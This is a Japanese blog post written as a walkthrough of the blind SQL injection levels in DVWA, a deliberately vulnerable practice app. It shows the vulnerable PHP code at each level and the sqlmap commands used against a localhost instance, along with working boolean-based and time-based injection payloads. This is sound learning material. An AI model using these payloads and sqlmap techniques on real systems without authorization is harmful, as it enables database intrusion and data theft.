DVWA（blindSQLインジェクション）全レベルの脆弱性について

## 前提
- kali linux環境がある
- [DVWAのセットアップ済み](https://qiita.com/KPenguin/items/7e4f1c428c3dadf8591c)
- [初級レベル理解済み](https://qiita.com/KPenguin/items/0dbac43fc7ec2ed7f376)

## 目標
- 脆弱性の理解を深める。

## 手順概要
- 大まかな挙動を把握する
- コードを見て脆弱性をみつける
- コードの脆弱性を攻撃する

## 内容
###挙動の把握
### low
- 存在するIDと存在しないIDを入力
- urlにクエリが入る
- 入力の結果は、success/failの文言で判断。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/0ad93e67-07bc-671d-c818-18acd52467ba.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/1de360a4-4c90-51f7-b811-a8246c545c0c.png)


### medium
- selectBoxのoption値をPOST
- 入力の結果は、success/failの文言で判断。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/cb026534-60e4-6228-d1fe-2eef465e6d55.png)


### high
- クリックすると別windowが開く
- 別windowでidを入力＝＞idとsubmitをpostする。その際cookieにidを埋め込んでいる。
- 上記responseを受けて、元の画面でGETされる。その際cookieにidを埋め込んでいる。
- 入力の結果は、success/failの文言で判断。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/584889/f9c69fd6-afd6-122c-cbce-aedb65cd7f25.png)

### コードを確認
#### low
- 入力値がそのまま格納される。

```php:
<?php
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
?> 
```

#### medium
- urlからの入力や、文字列の直接入力はできない。
- mysqli_real_escape_stringで特殊文字をエスケープ

```php:
<?php
    // Get input
    $id = $_POST[ 'id' ];
    $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
?> 
```

#### high
- 文字のエスケープはないので、そこは気にしない。
- limit 1で１つだけ表示になっているがsqlmap使うので関係ない。
- SQL命令に含まれるidはcookieから取得している。

```php:
<?php
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors 
?>
```

#### impossible
- tokenチェック
- is_numericで数値かどうかの判定

```php:
<?php
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
    } 
?>
```

### 脆弱性を攻撃する
#### low
- urlにクエリが入るパターンなので簡単。
- sqlmapのurlにクエリを含めれば、後はsqlmapにお任せすればよい。

```shell:
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1"
# その結果が以下
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1' AND 6579=6579 AND 'ztyK'='ztyK&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1' AND (SELECT 6933 FROM (SELECT(SLEEP(5)))IIUV) AND 'lrmA'='lrmA&Submit=Submit
---

```

#### medium
- POSTリクエストであることだけ考慮すればよい。
- sqlmapに--dataオプションを追加すれば、post処理が模擬される。

```shell:
# --data request_bodyにparamsを乗せる
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=medium; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1" --data="id=1&Submit=Submit"

# その結果が以下
---
Parameter: id (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 7941=7941&Submit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 5502 FROM (SELECT(SLEEP(5)))BxyM)&Submit=Submit
---
```

#### high
- ここは少し頭を使う。
- sqlmapに設定するURLには注意
    - sqli_blind/cookie-input.phpの場合
        - idとsubmitのpostとidを含むcookieを模擬する必要がある。（これは問題ない）
            - この攻撃ではsuccess/failでresponseの差分がないのでsqlmapでは脆弱性を判定できない。（これはハマるところ）
    - sqli_blind/
        - 実はGETしかもクエリなし
        - id付きのcookieがあればいい
- 上記を読むと分かる通り、攻撃対象として適しているのは”sqli_blind/”
- ということで以下コマンド実行

```shell:
# -p {param} で攻撃に使用するparam指定。
# --dbms　データベース指定。（対象を絞り解析時間の節約用）
root@kali:~# sqlmap -u "http://localhost/DVWA-master/vulnerabilities/sqli_blind/" --cookie="security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1" -p id --dbms=mysql

# その結果が以下
---
Parameter: id (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' AND 2480=2480-- jotW

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: security=high; PHPSESSID=dkk4jkgnh7o0m46ov6d0ben3k1; id=1' OR SLEEP(5)-- caGm
---
```


#### impossible
- 無理っぽい